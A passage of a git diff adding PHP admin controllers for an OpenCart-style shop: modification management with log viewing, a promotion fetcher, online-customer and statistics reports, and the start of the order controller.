+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function clearlog() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if ($this->validate()) {
+ $handle = fopen(DIR_LOGS . 'ocmod.log', 'w+');
+
+ fclose($handle);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['refresh'] = $this->url->link('marketplace/modification/refresh', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['clear'] = $this->url->link('marketplace/modification/clear', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('marketplace/modification/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['add'] = $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+
+ $data['modifications'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $modification_total = $this->model_setting_modification->getTotalModifications();
+
+ $results = $this->model_setting_modification->getModifications($filter_data);
+
+ foreach ($results as $result) {
+ $data['modifications'][] = array(
+ 'modification_id' => $result['modification_id'],
+ 'name' => $result['name'],
+ 'author' => $result['author'],
+ 'filename' => $result['code'].".ocmod.xml",
+ 'version' => $result['version'],
+ 'status' => $result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'link' => $result['link'],
+ 'edit' => $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'download' => $this->url->link('marketplace/modification/download', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'enable' => $this->url->link('marketplace/modification/enable', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'disable' => $this->url->link('marketplace/modification/disable', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $result['modification_id'], true),
+ 'enabled' => $result['status']
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_author'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=author' . $url, true);
+ $data['sort_version'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=version' . $url, true);
+ $data['sort_status'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . '&sort=date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $modification_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($modification_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($modification_total - $this->config->get('config_limit_admin'))) ? $modification_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $modification_total, ceil($modification_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ // Log
+ $file = DIR_LOGS . 'ocmod.log';
+
+ if (file_exists($file)) {
+ $data['log'] = htmlentities(file_get_contents($file, FILE_USE_INCLUDE_PATH, null));
+ } else {
+ $data['log'] = '';
+ }
+
+ $data['clear_log'] = $this->url->link('marketplace/modification/clearlog', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/modification', $data));
+ }
+
+ protected function getForm() {
+
+ $this->load->language('marketplace/modification');
+
+ /* $this->document->addStyle('view/javascript/codemirror/lib/codemirror.css');
+ $this->document->addStyle('view/javascript/codemirror/theme/xq-dark.css');
+ $this->document->addScript('view/javascript/codemirror/lib/codemirror.js');
+ $this->document->addScript('view/javascript/codemirror/lib/xml.js');
+ $this->document->addScript('view/javascript/codemirror/lib/formatting.js'); */
+ $this->document->addStyle('view/javascript/codemirror-dle/css/default.css');
+ $this->document->addScript('view/javascript/codemirror-dle/js/code.js');
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['heading_title'] = $this->language->get('heading_title');
+ $data['text_form'] = $this->language->get('text_form');
+ $data['text_no_results'] = $this->language->get('text_no_results');
+ $data['entry_name'] = $this->language->get('entry_name');
+
+
+
+
+
+ $data['entry_xml'] = $this->language->get('entry_xml');
+
+ $data['column_id'] = $this->language->get('column_id');
+ $data['column_code'] = $this->language->get('column_code');
+ $data['column_date_added'] = $this->language->get('column_date_added');
+ $data['column_restore'] = $this->language->get('column_restore');
+
+ $data['button_update'] = $this->language->get('button_update');
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+ $data['button_restore'] = $this->language->get('button_restore');
+ $data['button_history'] = $this->language->get('button_history');
+
+ $data['tab_general'] = $this->language->get('tab_general');
+ $data['tab_backup'] = $this->language->get('tab_backup');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $url = '';
+
+ if (!isset($this->request->get['modification_id'])) {
+ $data['action'] = $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true);
+ }
+ if(isset($this->request->get['modification_id'])){
+
+
+ $data['restore'] = $this->url->link('marketplace/modification/restore', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true);
+ $data['history'] = $this->url->link('marketplace/modification/clearhistory', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true);
+ $this->load->model('setting/modification');
+
+ $backups = $this->model_setting_modification->getModificationBackups($this->request->get['modification_id']);
+
+
+ $data['backups'] = array();
+
+ if ($backups) {
+ foreach ($backups as $backup) {
+ $data['backups'][] = array(
+ 'backup_id' => $backup['backup_id'],
+ 'code' => $backup['code'],
+ 'date_added' => $backup['date_added'],
+ 'restore' => $this->url->link('marketplace/modification/restore', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . '&backup_id=' . $backup['backup_id'] . $url, true)
+ );
+ }
+ }
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ } else {
+ //$modification = false;
+ }
+
+
+
+
+ $data['cancel'] = $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = htmlentities(ltrim($this->request->post['name']));
+ } elseif (isset($modification)) {
+ $data['name'] = htmlentities(ltrim($modification['name']));
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['xml'])) {
+ $data['xml'] = htmlentities(ltrim($this->request->post['xml'], ""));
+ } elseif (isset($modification)) {
+ $data['xml'] = htmlentities(ltrim($modification['xml'], ""));
+ } else {
+ $data['xml'] = '';
+ }
+
+ if (isset($this->request->post['xml'])) {
+ $data['newxml'] = new SimpleXMLElement(ltrim($this->request->post['xml'], ""));
+ } elseif (isset($modification)) {
+ $data['newxml'] = new SimpleXMLElement(ltrim($modification['xml'], ""));
+
+ } else {
+ $data['newxml'] = array();
+ }
+
+
+ //var_dump($data['newxml']);
+
+ //$data['newxml'] = json_decode(json_encode($data['newxml'], true), true);
+
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/modification_form', $data));
+ }
+ public function addoperation(){
+ $this->load->language('marketplace/modification');
+ $json = array();
+
+ $data = array();
+
+ $data['file_row'] = (int)$this->request->post['file_row'];
+ $data['operation_row'] = (int)$this->request->post['operation_row'];
+
+ $data['operation'] = true;
+
+
+ $json['prepend'] = $this->load->view('marketplace/modification_operation', $data);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function addfile(){
+ $this->load->language('marketplace/modification');
+ $json = array();
+
+ $data = array();
+
+ $data['file_row'] = (int)$this->request->post['file_row'];
+
+ $json['prepend'] = $this->load->view('marketplace/modification_file', $data);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 2)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/marketplace/promotion.php b/public/admin/controller/marketplace/promotion.php
new file mode 100644
index 0000000..8c21159
--- /dev/null
+++ b/public/admin/controller/marketplace/promotion.php
@@ -0,0 +1,40 @@
+request->get['route'], strrpos($this->request->get['route'], '/') + 1));
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+ $this->load->helper('HTMLPurifier/Bootstrap');
+
+ HTMLPurifier_Bootstrap::registerAutoload();
+
+ $config = HTMLPurifier_Config::createDefault();
+
+ $response = $this->strip($response, $config);
+
+ if ($response) {
+ return $response;
+ } else {
+ return '';
+ }
+ }
+
+ private function strip($string, $config) {
+ $purifier = new HTMLPurifier($config);
+ if (is_array($string)) {
+ foreach ($string as $k => $v) {
+ $string[$k] = $this->strip($v, $config); } return $string;
+ }
+ return $purifier->purify($string);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/report/online.php b/public/admin/controller/report/online.php
new file mode 100644
index 0000000..247da3c
--- /dev/null
+++ b/public/admin/controller/report/online.php
@@ -0,0 +1,121 @@
+load->language('report/online');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['refresh'] = $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('report/online');
+ $this->load->model('customer/customer');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_ip' => $filter_ip,
+ 'filter_customer' => $filter_customer,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_report_online->getTotalOnline($filter_data);
+
+ $results = $this->model_report_online->getOnline($filter_data);
+
+ foreach ($results as $result) {
+ $customer_info = $this->model_customer_customer->getCustomer($result['customer_id']);
+
+ if ($customer_info) {
+ $customer = $customer_info['firstname'] . ' ' . $customer_info['lastname'];
+ } else {
+ $customer = $this->language->get('text_guest');
+ }
+
+ $data['customers'][] = array(
+ 'customer_id' => $result['customer_id'],
+ 'ip' => $result['ip'],
+ 'customer' => $customer,
+ 'url' => $result['url'],
+ 'referer' => $result['referer'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_ip'] = $filter_ip;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('report/online', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/report/report.php b/public/admin/controller/report/report.php
new file mode 100644
index 0000000..c05a2cc
--- /dev/null
+++ b/public/admin/controller/report/report.php
@@ -0,0 +1,72 @@
+load->language('report/report');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['code'])) {
+ $data['code'] = $this->request->get['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ // Reports
+ $data['reports'] = array();
+
+ $this->load->model('setting/extension');
+
+ // Get a list of installed modules
+ $extensions = $this->model_setting_extension->getInstalled('report');
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($extensions as $code) {
+ if ($this->config->get('report_' . $code . '_status') && $this->user->hasPermission('access', 'extension/report/' . $code)) {
+ $this->load->language('extension/report/' . $code, 'extension');
+
+ $data['reports'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'code' => $code,
+ 'sort_order' => $this->config->get('report_' . $code . '_sort_order'),
+ 'href' => $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=' . $code, true)
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['reports'] as $key => $value) {
+ $sort_order[$key] = $value['sort_order'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $data['reports']);
+
+ if (isset($this->request->get['code'])) {
+ $data['report'] = $this->load->controller('extension/report/' . $this->request->get['code'] . '/report');
+ } elseif (isset($data['reports'][0])) {
+ $data['report'] = $this->load->controller('extension/report/' . $data['reports'][0]['code'] . '/report');
+ } else {
+ $data['report'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('report/report', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/report/statistics.php b/public/admin/controller/report/statistics.php
new file mode 100644
index 0000000..d9b623e
--- /dev/null
+++ b/public/admin/controller/report/statistics.php
@@ -0,0 +1,262 @@
+load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ $this->getList();
+ }
+
+ public function ordersale() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_sale', $this->model_sale_order->getTotalSales(array('filter_order_status' => implode(',', array_merge($this->config->get('config_complete_status'), $this->config->get('config_processing_status'))))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function orderprocessing() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_processing', $this->model_sale_order->getTotalOrders(array('filter_order_status' => implode(',', $this->config->get('config_processing_status')))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function ordercomplete() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_complete', $this->model_sale_order->getTotalOrders(array('filter_order_status' => implode(',', $this->config->get('config_complete_status')))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function orderother() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('localisation/order_status');
+
+ $order_status_data = array();
+
+ $results = $this->model_localisation_order_status->getOrderStatuses();
+
+ foreach ($results as $result) {
+ if (!in_array($result['order_status_id'], array_merge($this->config->get('config_complete_status'), $this->config->get('config_processing_status')))) {
+ $order_status_data[] = $result['order_status_id'];
+ }
+ }
+
+ $this->load->model('sale/order');
+
+ $this->model_report_statistics->editValue('order_other', $this->model_sale_order->getTotalOrders(array('filter_order_status' => implode(',', $order_status_data))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function returns() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('sale/return');
+
+ $this->model_report_statistics->editValue('return', $this->model_sale_return->getTotalReturns(array('filter_return_status_id' => $this->config->get('config_return_status_id'))));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function customer() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('customer/customer');
+
+ $this->model_report_statistics->editValue('customer', $this->model_customer_customer->getTotalCustomers(array('filter_approved' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function affiliate() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('customer/customer');
+
+ $this->model_report_statistics->editValue('affiliate', $this->model_customer_customer->getTotalAffiliates(array('filter_approved' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function product() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('catalog/product');
+
+ $this->model_report_statistics->editValue('product', $this->model_catalog_product->getTotalProducts(array('filter_quantity' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function review() {
+ $this->load->language('report/statistics');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('report/statistics');
+
+ if ($this->validate()) {
+ $this->load->model('catalog/review');
+
+ $this->model_report_statistics->editValue('review', $this->model_catalog_review->getTotalReviews(array('filter_status' => 0)));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ public function getList() {
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('report/statistics', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['statistics'] = array();
+
+ $this->load->model('report/statistics');
+
+ $results = $this->model_report_statistics->getStatistics();
+
+ foreach ($results as $result) {
+ $data['statistics'][] = array(
+ 'name' => $this->language->get('text_' . $result['code']),
+ 'value' => $result['value'],
+ 'href' => $this->url->link('report/statistics/' . str_replace('_', '', $result['code']), 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('report/statistics', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'report/statistics')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/order.php b/public/admin/controller/sale/order.php
new file mode 100644
index 0000000..fceb65a
--- /dev/null
+++ b/public/admin/controller/sale/order.php
@@ -0,0 +1,1843 @@
+load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/order');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/order');
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/order');
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_order_id'])) {
+ $filter_order_id = $this->request->get['filter_order_id'];
+ } else {
+ $filter_order_id = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
